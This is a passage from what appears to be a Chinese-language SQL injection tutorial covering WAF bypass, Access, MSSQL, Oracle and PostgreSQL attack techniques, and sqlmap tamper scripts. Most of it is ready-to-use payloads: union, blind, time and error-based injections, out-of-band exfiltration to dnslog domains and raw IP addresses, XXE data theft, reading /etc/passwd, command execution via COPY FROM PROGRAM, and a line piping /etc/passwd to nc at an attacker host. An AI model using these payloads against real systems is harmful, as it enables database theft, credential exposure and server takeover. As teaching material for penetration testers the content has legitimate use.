解析:WAF在獲取到參數id的值並解碼后,參數值將被截斷成 1/* ,后面的攻擊語句將沒有被WAF拿去進行檢測。
2、&字符處理
這些WAF會使用&符號分割 part1 、 part2 和 part3 ,然后對其參數值進行檢測。但是,如果遇到這種構造:
<img src="https://bbs.zkaq.cn/upload/md/3682/f7a401f186bb06e9dd135ab006e82f23_68036.png" alt="img" style="zoom: 80%;" />
waf會將上傳的參數分解成3部分:
par1=1+union+/*
x=1*/+select/*
×2=1*/1,2,3,4,5+from+Admin
如果將這3個參數分別進行檢測,某些WAF是匹配不到攻擊特征的。
這里的 %26 是 & 字符
/%26/->/&/ 其實只是一個SQL的注釋而已
- 數據清洗不恰當
當攻擊者提交的參數值中存在大量干擾數據時,如大量空格、TAB、換行、%0c、注釋等,WAF需要對其進行清 洗,篩選出真實的攻擊數據進行檢測,以提高檢查性能,節省資源。
如果WAF對數據的清洗不恰當,會導致真實的攻擊數據被清洗,剩余的數據無法被檢測出攻擊行為。
- 規則通用性問題
通用型的WAF,一般無法獲知后端使用的是哪些WEB容器、什么數據庫、以及使用的什么腳本語言。 每一種WEB容器、數據庫以及編程語言,它們都有自己的特性,想使用通用的WAF規則去匹配和攔截,是非常難 的。
通用型WAF在考慮到它們一些共性的同時,也必須兼顧它們的特性,否則就很容易被一些特性給Bypass!
- 為性能和業務妥協
要全面兼容各類Web Server及各類數據庫的WAF是非常難的,為了普適性,需要放寬一些檢查條件,暴力的過濾 方式會影響業務。
對於通用性較強的軟WAF來說,不得不考慮到各種機器和系系統的性能,故對於一些超大數據包、超長數據可能會 跳過不檢測。
以上就是WAF自身的一些問題,接下來我們會針對這些問題進行講解,看看WAF是怎么受這些問題影響的。
然后是數據庫的一些特性,不同的數據庫有一些屬於自己的特性,WAF如果不能處理好這些特性,就會出很大的問題。
接下來給出一些實戰中的利用文章,可結合以上知識一起學習:
Access數據庫注入技巧
速查
聯合查詢
?id=1 and exists(select * from admin) //判斷表和字段 ?id=1 and 1=2 union select top 1 1,username,3,4,5,6,7,8,9,10 from admin order by 2 desc //查詢字段內容 ?id =1 and 1=3 union select top 5 1,username,3,4,5,6,7,8,9,10 from admin where username not in(select username from admin where username ='admin1' or username ='admin2' or username='admin3') //查詢字段內容
盲注
?id=1 and len((select username from admin where id=1))=6 //判斷字段長度 ?id =1 and iif(1=1,(mid((select username from admin where id=1),1,1)='b'),0 ) //判斷字段內容
偏移注入
?id=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,admin.* from admin //判斷后表字段數 ?id=1 union select admin.*,1,2,3,4,5,6,7,8,9,10,11,12 from admin /查詢數據 ?id=1 union select 1,2,3,4,5,6,* from (admin as a inner join admin as b on a.id=b.id)//查詢數據
聯合查詢
access沒有注釋,通常用 null 或者 %00 作為注釋
access聯合查詢是將后表放到前面,和mysql相反
access select *from
必須加表名,表名可以使用 exists(select * from table_name)
進行判斷,列名也可以用這個進行判斷。
access沒有 limit ,但是可以使用 top 和 desc 逐個查出內容
- top 1 返回第一行內容,top 2 返回前2行內容
- asc 升序 desc 降序
通過修改top 1 的數字,配合desc和asc逐個把所有內容顯示出來在
Select * From news where id=1 and 1=2 union select top 1 1,username,3,4,5,6,7,8,9,10 from admin order by 2 desc
顯示第一行
顯示前三行
注意,用來排序的字段最好是用來顯示內容的字段
這樣會遇到一個比較有意思的問題
比如第4個開頭是c,第五個開頭是b,用上述內容查詢
這樣查出來的始終是cadmin
,可以用not in
將其排除。
Select * From news where id =1 and 1=3 union select top 5 1,username,3,4,5,6,7,8,9,10 from admin where username not in('admin1','admin2')
可以使用 + 連接多個內容,在url里用 %2b 代替
Select * From news where id=1 and 1=2 union select top 5 1,username+'|'+password,3,4,5,6,7,8,9,10 from admin order by 2 desc
盲注
猜測字段
IIf ( expr , truepart , falsepart )
盡管IIf
只返回 truepart
和 falsepart
中的一個,但始終會對這兩部分進行計算。因此,應當注意是否出現無謂的副作用。例如,如果計算 falsepart
時導致除數為零錯誤,那么即使 expr
為 True
,也會產生錯誤。
計算長度len()
截取字符串mid(‘abc’,1,1)
轉換ascii碼ASC()函數
ascii轉為字符CHR()函數
select * from news where id=1 and len((select username from admin where id=1))=6
判斷admin表里第一個字段
select * from news where id =1 and iif(1=1,(mid((select username from admin where id=1),1,1)='b'),0 )
偏移注入
適用情況:
- 知道表名不知道列名
- 前表的列數遠大於后表
select * from product where id=100 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin
用 *
或者 admin.*
從后逐漸替換數字
select * from product where id=100 union select 1,2,3,4,5,6,7,8,9,10,11,12,admin.* from admin
W1:
得到admin有26-12=14
個字段,接下來依次將admin.*
去放到其余位置
select * from product where id=100 union select admin.*,1,2,3,4,5,6,7,8,9,10,11,12 from admin
W2:
如果前表的字段數是后表字段數的2
倍以上,假設admin表字段數為10
,則可以使用26-10*2=6
,
select * from product where id=100 union select 1,2,3,4,5,6,* from (admin as a inner join admin as b on a.id=b.id)
inner join
等同於select * From A, B Where A.aid = B.bid
admin as a
是將admin
表重命名a
,因為inner join
需要使用兩張不同的表,所以需要一個表命名為2個不同名字。
這樣的好處是能將后表的內容更多的顯示出來。
Mssql數據庫注入技巧
前置知識
-
master
:系統自帶庫,存儲着所有的信息sysdatabae
:系統自帶庫中的表,存儲着所有的庫名name
表示庫名,dbid
表示庫的編號 -
sysobjects
:每個庫都有,系統庫中的存儲着所有的表名,其它庫里的存着各自的表名name
表示表名, 每個表有自己特有的id
,xtype
表示這個表的類型 -
syscolumns
:每個庫都有,系統庫中的存儲着所有的字段名,其它庫里的存着各自的字段名name
表示字段名, 通過id
判斷該字段屬於哪個表4.其它內容
注釋是 --
select db_name(N),N為空表示當前數據庫,可以通過修改數字查詢其他數據庫名
select user 查詢當前用戶
select @@version 查詢數據庫版本
聯合查詢
部分內容和access
注入相似,畢竟是一家,比如沒有limit
,可以使用top
配合desc
和not in
等。
判斷回顯點
union select 1,2,3
sqlserver 對字段的數據類型有要求,可以用null替代
但是如果讓前表不顯示,后面就不用了考慮字段數據類型
查詢表名
指定xtype
為U
,表示用戶的表
SELECT * from users where id=1 and 1=2 union select top 1 1,id,name from sysobjects where xtype='U'
查詢字段名
通過id
指定表
SELECT * from users where id=1 and 1=2 union select top 1 1,2,name from sysobjects where id=1977058079
盲注
相關函數
len 判斷長度
substring 截取字符串
ascii 轉換成ascii碼
if 判斷
WAITFOR DELAY '0:0:5' 延時5秒
判斷數據庫個數
?id=1 and (select count(name) from master..sysdatabases)=7 ?id=1 and (select count(*) from master..sysdatabases where dbid=7)=1
判斷當前數據庫長度
and len(db_name())=6
判斷其它數據庫長度
?id=1 and len(db_name(1))=6
判斷當前庫名
?id=1 and substring(db_name(),1,1)='t'
庫中表的個數
?id=1 and (select count(name) from sysobjects where xtype='U')=5
判斷表內容
當前庫第一個表的長度
?id=1 and len((select top 1 name from sysobjects where xtype='U'))=5
判斷第一個表的表名
?id=1 and substring((select top 1 name from test..sysobjects where xtype='U'),1,1)='u'
判斷當前數據庫第2個表的長度
?id=1 and len((select top 1 name from sysobjects where xtype='U' and name not in(select top 1 name from sysobjects where xtype='U')))=6
-
判斷第二個表的表名
?id=1 and substring((select top 1 name from sysobjects where xtype='U' and name not in(select top 1 name from sysobjects where xtype='U')),1,1)='e'
-
時間盲注
?id=1 IF SUBSTRING(DB_NAME(),1,1)='a' WAITFOR DELAY '0:0:5'
報錯注入
報錯注入
在幫助文檔里找了好多函數,好像都能報錯
and convert(int,@@version)=1
and db_name(@@version)=1
and file_name(db_name())=1
and col_name(@@SERVERNAME,db_name())=1
注意,col_name需要兩個參數,但是報錯只能顯示一個
and filegroup_name(db_name(1)=1
and PARSENAME(db_name(1),1)=1
注:還有好多,基本抓一個都能用,在幫助文檔里輸入name
,出來的函數都可以試一試
反彈注入
使用場景:命名是SQL的注入點卻無法進行注入操作,注入工具猜解的速度異常緩慢,錯誤提示信息關閉,無法返回注入結果等,這些都是在注入攻擊中常常遇到的問題。為了解決以上這些疑難雜症,比較好的解決方法就是使用反彈注入技術。
反彈注入就是利用SQL SERVER的opendatasource() 函數,來將查詢結果發送到另一個外網服務器的SQL SERVER數據庫中。
反彈注入語句解析:
insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin -- Insert into 很明顯是插入語句 然后出現了個opendatasource。 opendatasource 為了方便理解,可以看理解為 ‘使用opendatasource函數將當前數據庫查詢的結果發送到另一數據庫服務器中。 語法: OPENDATASOURCE(provider_name,init_string) provider_name 注冊為用於訪問數據源的OLE DB 提供程序的PROGID的名稱 MSSQL的名稱為SQLOLEDB init_string 連接字符串 連接地址、端口、用戶名、密碼、數據庫名 server=連接地址,端口;uid=用戶名;pwd=密碼;database=數據庫名稱 連接上服務器后選定數據表DB_14A5E44_zkaq.dbo.temp 把后面語句的查詢結果插入到那個表里面
Oracle數據庫注入技巧
基礎
Oracle數據庫中,庫的概念被淡化,強調用戶
單行注釋為--
,多行注釋為/**/
在Oracle中就必須跟一個表名,如下:select * from dual
dual
表,此表是Oracle數據庫中的一個自帶表
oracle 的數據類型是強匹配,所以聯合查詢時要求列的數據類型一致,可以用null
代替某些數據類型。
all_tables
儲存所有的表
user_tables
存儲當前用戶的表
all_tab_columns
存儲所有的字段
select*from user_tab_columns 存儲當前用戶的字段
select*from v$version 查版本
聯合查詢
聯合查詢
判斷回顯點
union all select null,null,null,null from dual
查詢當前表用戶
union all select 1,to_nchar(user),null,null from dual
Oracle數據庫中,庫的概念被淡化,強調用戶
查詢表名
union all select null,to_nchar(table_name),null,null from user_tables where rownum=1
查詢下一個表名
union all select null,to_nchar(table_name),null,null from user_tables where table_name<>'NEWS'
除此之外,可以使用下面的方法查詢單條記錄
select rownum r,table_name from user_tables
select table_name from (select rownum R,table_name from user_tables) where r=2
union all select null,to_nchar(table_name),null,null from (select rownum R,table_name from user_tables) where r=1
獲取字段名
union all select null,to_nchar(column_name),null,null from user_tab_columns
查詢下一個
union all select null,to_nchar(column_name),null,null from user_tab_columns where column_name<>'ID'
盲注
length()
計算長度substr()
截取字符串decode(字段或字段的運算,值1,值2,值3)
這個函數運行的結果是,當字段或字段的運算的值等於值1時,該函數返回值2,否則返回值3
布爾盲注
判斷表數量
and (select count(table_name) from user_tables)>1
判斷表名長度
and (select length(table_name) from user_tables where rownum=1)>1
判斷表明內容
and ascii(substr((select table_name from user_tables where rownum=1),1,1))>1
盲注的instr()用法
instr函數用於截取字符串(源字符串,目標字符串)
and 1=(instr((select user from dual),'O'))
錯誤時頁面會出錯,正確返回正常頁面
正確時
錯誤時
時間盲注
oracle的時間盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一種便是decode()與高耗時SQL操作的組合,當然也可以是case,if 等方式與高耗時操作的組合,這里的高耗時操作指的是,例如:(select count(*) from all_objects),對數據庫中大量數據進行查詢或其他處理的操作,這樣的操作會耗費較多的時間,然后通過這個方式來獲取數據。這種方式也適用於其他數據庫。
DBMS_PIPE.RECEIVE_MESSAGE()函數延時盲注
DBMS_LOCK.SLEEP()函數可以讓一個過程休眠很多秒,但使用該函數存在許多限制。
首先,不能直接將該函數注入子查詢中,因為Oracle不支持堆疊查詢(stacked query)。其次,只有數據庫管理員才能使用DBMS_LOCK包。
在Oracle PL/SQL中有一種更好的辦法,可以使用下面的指令以內聯方式注入延遲:DBMS_PIPE.RECEIVE_MESSAGE(‘任意值’,延遲時間),如下
dbms_pipe.receive_message('RDS', 10)
DBMS_PIPE.RECEIVE_MESSAGE函數將為從RDS管道返回的數據等待10秒。默認情況下,允許以public權限執行該包。DBMS_LOCK.SLEEP()與之相反,它是一個可以用在SQL語句中的函數。
延遲盲注中的應用:
http://www.xxx.com/news.jsp?id=-1 or 1= dbms_pipe.receive_message('RDS', 10)-- http://www.xxx.com/news.jsp?id=1 and 1=dbms_pipe.receive_message('RDS', 10)--
如果頁面延時10秒返回,即存在注入。
decode函數
使用decode()進時間盲注
decode()函數語句的基本表達式是:
decode(expr1,expr2,expr3,[expr4])
作如下理解該表達式:
(1),如果expr1 = expr2,decode函數返回expr3表達式的值;
(2),如果expr1 != expr2,decode函數返回expr4表達式的值,如果expr4未指定,則返回null。
使用decode與DBMS_PIPE.RECEIVE_MESSAGE嵌套的方式進行時間盲注。
http://www.test.com/oracle.jsp?name=1'and 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('RDS',5) ,0) from dual) and '1'='1
當然,這里延遲的操作不一定用延遲函數,也可以使用花費更多時間去查詢所有數據庫的條目。例如:
(select count(*) from all_objects)
http://www.xxx.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0
通過這種明顯時間差也能判斷注入表達式的結果。
報錯注入
通過ctxsys.drithsx.sn函數
這個函數去查詢關於主題的對應關鍵詞,然后因為查詢失敗,應該是這個用戶沒有創建和查詢的權限,默認情況沒有創建,爆出未查詢到的錯誤從而爆出查詢的內容
and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum R,table_name from user_tables) where r=2))
and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))--
利用ctxsys.ctx_report.token_type函數
此函數作用為將英語名稱轉化為數字類型
在名稱處進行報錯查詢
and 1=ctxsys.ctx_report.token_type((select user from dual), '1')
其余可以測試的語句
利用dbms_xdb_version相關方法下的報錯
通過對信息簽入返回新建版本的id來報錯查詢
這里插入語句的位置是資源的路徑名
and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null--
dbms_xdb_version.makeversioned
此函數返回VCR的第一個版本或根目錄的資源ID,通過資源的路徑名位置進行報錯查詢
and (select dbms_xdb_version.makeversioned((select banner from sys.v_$version where rownum=1)) from dual) is not null--
dbms_xdb_version.uncheckout
此函數用於簽入已簽出的資源,並在簽出資源之前返回版本的資源id,通過簽出資源的路徑名出進行報錯查詢
and(select dbms_xdb_version.uncheckout((selectbannerfromsys.v_$versionwhere rownum=1)) from dual) is not null--
利用dbms數據包的報錯
將sqlid 轉化為hash值,在查詢sqlid處插入語句語句報錯
這里對sqlid進行報錯查詢
and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null--
通過返回有關各種Oracle Streams屬性的信息來報錯
這里通過對消息屬性返回當前邏輯更改記錄(LCR)的發送方名稱處,也可以是返回引發錯誤的LCR違反的約束的名稱(都是同一個位置,兩種用法)處進行報錯查詢
and (select dbms_streams.get_information((select banner from sys.v_$version where rownum=1)) from dual) is not null--
此函數作用是從oracle類型名稱生成XML架構
通過對生成xml模式架構里的類型名稱處來報錯得到數據
and (select dbms_xmlschema.generateschema((select banner from sys.v_$version where rownum=1)) from dual) is not null--
通過對xml文檔信息的操作來報錯
這個函數從XDB中的XMLTYPE或資源中提取XLIFF格式的翻譯
通過對xpath的位置的進行報錯查詢
and (select dbms_xmltranslations.extractxliff((select banner from sys.v_$version where rownum=1)) from dual) is not null--
利用ordsys.ord_dicom.getmappingxpath報錯
通過無效的xml路徑報錯,報錯信息會到頁面中
這里對xml路徑處進行報錯查詢
and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$versionwhere rownum=1),user,user)--
利用utl_inaddr.get_host_name函數的報錯
utl_inaddr.get_host_name函數用於取得環境中的IP地址,通過語句去報錯將信息帶到頁面中
在IP數據位置處進行報錯查詢
and 1=utl_inaddr.get_host_name((select banner from sys.v_$version where rownum=1))--
利用XMLType函數的報錯
通過xmltype,構造xml數據類型里的xml數據內容來報錯
在xml數據處進行報錯查詢
and (select upper(XMLType(chr(60)||chr(58)||(select banner from sys.v_$version where rownum=1)||chr(62))) from dual) is not null--
oob(Out of Band)
利用UTL_HTTP.REQUEST函數
通過這個函數去發送http請求,攜帶查詢信息,通過記錄請求日志信息去獲得信息
select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select user from dual)||'.ujf6lv.dnslog.cn') FROM sys.DUAL;
利用dbms_ldap.init的報錯
dbms_ldap.init這里會創建一個ldap服務器的連接,從而去帶出查詢出的信息,通過該函數去發送dns請求,通過dns記錄去解析日志獲得信息
select name from test_user where id =1 union select DBMS_LDAP.INIT((select user from dual)||'.ujf6lv.dnslog.cn',80) from dual ' and DBMS_LDAP.INIT((select user from dual)||'.ujf6lv.dnslog.cn',80) is not null-- #后面要加is not null
利用utl_inaddr的數據包的函數
UTL_INADDR.GET_HOST_ADDRESS函數用於查詢環境中的ip地址
通過該函數去發送dns請求,通過dns記錄去解析日志獲得信息
select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select user from dual)||'.ddd.ujf6lv.dnslog.cn') FROM sys.DUAL; ' and utl_inaddr.get_host_address((select 1234567811 from dual)||'.fzrsuf.3w1.pw')=1-- ' and utl_inaddr.get_host_address((select 3333333 from dual)||'.fzrsuf.3w1.pw') like 1--
利用httpuritype函數
httpuritype用於從數據庫服務器發送http請求
通過這個函數去發送http請求,攜帶查詢信息,通過記錄請求日志信息去獲得信息,也可以通過該函數去發送dns請求,通過dns記錄去解析日志獲得信息
select httpuritype( 'http://74.121.151.89/123344/back.pl').getclob() from dual; select name from test_user where id =1 union SELECT HTTPURITYPE((select user from dual)||'.xx.ujf6lv.dnslog.cn').GETCLOB() FROM sys.DUAL;
利用extractvalue函數
(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % nakut SYSTEM "http://'||(select CHR(51)||CHR(54)||CHR(48) from dual)||'.fzrsuf.3w1.pw/">%nakut;]>'),'/l') from dual) (select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://74.121.151.89:8888/'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual) (select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://74.121.151.89:8888/'||(select listagg(id||chr(58)||name,',') within group (order by id) from users where rownum<5)||'"> %remote; %param1;]>'),'/l') from dual) ' and (select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://74.121.151.89:8888/'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual)||' ' and 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://74.121.151.89:8888/'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual) or '1'='1 ' AND 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://74.121.151.89:8888/'||(select listagg(id||chr(58)||name,',') within group (order by id) from users where rownum<5)||'"> %remote; %param1;]>'),'/l') from dual)-- ' AND 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://74.121.151.89:8888/'||(select listagg(id||chr(58)||name,',') within group (order by id) from users where rownum<5)||'"> %remote; %param1;]>'),'/l') from dual)--
PostgreSQL注入技巧
前置知識
注釋
-- 單行
/**/ 多行
版本
SELECT version()
查看當前用戶
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
列出用戶表內容
SELECT usename FROM pg_user
列出密碼hash
SELECT usename, passwd FROM pg_shadow
列出數據庫超級管理員賬號
SELECT usename FROM pg_user WHERE usesuper IS TRUE
列出權限信息
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
查詢當前數據庫名
SELECT current_database()
查詢所有數據庫
SELECT datname FROM pg_database
列出表信息
SELECT table_name FROM information_schema.tables
輸出列信息
SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
報錯注入
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC) ,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- ,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- ,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC) ' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1 ' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1 ' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1 ' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
PostgreSQL XML 支持
select query_to_xml('select * from pg_user',true,true,''); -- 以xml格式返回數據
上面的query_to_xml
將指定查詢的所有結果作為一個結果返回。將其與“PostgreSQL報錯注入”技術結合起來,以竊取數據,而不必擔心將查詢限制在一個結果上。
select database_to_xml(true,true,''); -- 將當前數據庫轉儲為XML select database_to_xmlschema(true,true,''); -- 將當前數據庫轉儲到一個XML schema
注意,對於上述查詢,需要在內存中組裝輸出。對於較大的數據庫,這可能會導致速度變慢或拒絕服務攻擊。
盲注
' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK ' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO
時間盲注
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
堆疊注入
使用分號;
去增加另一條查詢語句
http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--
文件讀取
select pg_ls_dir('./'); select pg_read_file('PG_VERSION', 0, 200);
注意:PostgreSQL的早期版本不接受pg_read_file或pg_ls_dir中的絕對路徑。更新的版本將允許讀取超級用戶或default_role_read_server_files組中的用戶的任何文件/文件路徑。
CREATE TABLE temp(t TEXT); COPY temp FROM '/etc/passwd'; SELECT * FROM temp limit 1 offset 0; SELECT lo_import('/etc/passwd'); -- 將從文件中創建一個大型對象並返回OID SELECT lo_get(16420); -- 使用從上面返回的OID SELECT * from pg_largeobject; -- 或者只獲取所有大型對象及其數據
寫文件
CREATE TABLE pentestlab (t TEXT); INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash'); SELECT * FROM pentestlab; COPY pentestlab(t) TO '/tmp/pentestlab'; SELECT lo_from_bytea(43210, 'your file data goes in here'); -- 創建一個OID為43210的大對象和一些數據 SELECT lo_put(43210, 20, 'some other data'); -- 在大對象上追加數據的偏移量為20 SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport
命令執行
CVE-2019–9193
如果可以直接訪問數據庫,則可以直接利用Metasploit,否則需要手動執行以下SQL查詢。
DROP TABLE IF EXISTS cmd_exec; -- [可選]如果要使用的表已經存在,刪除它 CREATE TABLE cmd_exec(cmd_output text); -- 創建要保存命令輸出的表 COPY cmd_exec FROM PROGRAM 'id'; -- 通過COPY FROM PROGRAM函數運行系統命令 SELECT * FROM cmd_exec; -- [可選]查看結果 DROP TABLE IF EXISTS cmd_exec; -- [可選]刪除表
利用 libc.so.6
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
Bypass
Quotes
使用chr函數
SELECT CHR(65)||CHR(66)||CHR(67);
使用 $ 符號( >= version 8 PostgreSQL)
SELECT $$This is a string$$ SELECT $TAG$This is another string$TAG$
注入工具
Sqlmap
SQLmap是一個自動化的SQL注入工具,其主要功能是掃描,發現並利用給定的URL的SQL注入漏洞,目前支持的數據庫是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用幾種獨特的SQL注入技術,分別是盲推理SQL注入,UNION查詢SQL注入,對查詢和盲注。其廣泛的功能和選項包括數據庫指紋,枚舉,數據庫提取,訪問目標文件系統,並在獲取完全操作權限時實行任意命令。
當給Sqlmap開始檢測一個url的時候,它會:
- 判斷注入時選擇的參數
- 判斷識別出使用的那種數據庫
- 判斷注入時使用何種sql注入技術來進行注入
- 根據用戶的選擇需要,獲取相應的需要的數據
關於詳細的sqlmap使用參數(options)及細節,可以查閱sql使用手冊。這里可以獲取sqlmap所有支持的特性、參數、命令行選項開關及說明的使用幫助。
Tamper編寫
使用SQLMap提供的tamper腳本,可在一定程度上避開應用程序的敏感字符過濾、繞過WAF規則的阻擋,繼而進行滲透攻擊。使用方法:
sqlmap.py XXXXX -tamper "模塊名"
關於sqlmap自帶的tamper與注釋,在上方的使用手冊中可以看到。此處我們來探討Tamper的編寫方法。
tamper腳本基於python語言。為了說明tamper的結構,讓我們從一個最簡單的例子開始:
# sqlmap/tamper/escapequotes.py from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): return payload.replace("'", "\\'").replace('"', '\\"')
可以看到tamper腳本的基本結構為 priority
變量定義和 dependencies
、 tamper
函數定義。
priority定義腳本的優先級,用於有多個tamper腳本的情況。
dependencies函數聲明該腳本適用或不適用的范圍,可以為空。
tamper是主要的函數,接受的參數為 payload和 **kwargs,返回值為替換后的payload。
詳細介紹:
priority
在自帶的tamper腳本中一共有以下幾種優先級 還可以自定義 -100~100
__priority__ = PRIORITY.LOWEST __priority__ = PRIORITY.LOWER __priority__ = PRIORITY.LOW __priority__ = PRIORITY.NORMAL __priority__ = PRIORITY.HIGH __priority__ = PRIORITY.HIGHER __priority__ = PRIORITY.HIGHEST
dependencies函數
dependencies
函數,對tamper腳本支持/不支持使用的環境進行聲明,可以為空,如:
import os from lib.core.common import singleTimeWarnMessage def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS)) #singleTimeWarnMessage() 用於在控制台中打印出警告信息
tamper函數
tamper是整個腳本的主體。主要用於修改原本的payload。舉例來說,如果服務器上有這么幾行代碼
$id = trim($POST($id),'union'); $sql="SELECT * FROM users WHERE id='$id'";
而我們的payload為
-8363' union select null -- -
這里因為union被過濾掉了,將導致payload不能正常執行,那么就可以編寫這樣的tamper
def tamper(payload, **kwargs): return payload.replace('union','uniounionn')
保存為replaceunion.py,存到sqlmap/tamper/下,執行的時候帶上—tamper=replaceunion的參數,就可以繞過該過濾規則。
kwargs
在官方提供的47個tamper腳本中,kwargs參數只被使用了兩次,兩次都只是更改了http-header
# sqlmap/tamper/vanrish.py def tamper(payload, **kwargs): headers = kwargs.get("headers", {}) headers["X-originating-IP"] = "127.0.0.1" return payload
Tamper的編寫遠不止這些,本塊只就其最基本的結構進行探討。作為sqlmap的擴展,在編寫tamper時幾乎所有的sqlmap內置的函數、變量都可以使用,這些內容同樣可查閱使用手冊。
sqlmap udf提權
本文前面的內容已經提到了有關udf提權的內容,此處講述其在sqlmap中的實現。
sqlmap\data\udf\mysql\windows\32 目錄下存放着32位的 lib_mysqludf_sys.dll,但是 sqlmap 中自帶的 shell 以及一些二進制文件,為了防止被誤殺都經過異或方式編碼,不能直接使用。可以利用sqlmap 自帶的解碼工具cloak.py,進入到 sqlmap\extra\cloak 目錄下,執行命令:python2 cloak.py -d -i D:\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll
解碼后在 sqlmap\data\udf\mysql\windows\32 文件夾下會生成 dll 文件。
利用sqlmap進行UDF提權指令:
sqlmap.py -d “mysql://root:root@127.0.0.1:3306/test” -–os-shell
sqlmap內置的dll支持以下函數:
access注入合集(https://bbs.zkaq.cn/t/4481.html)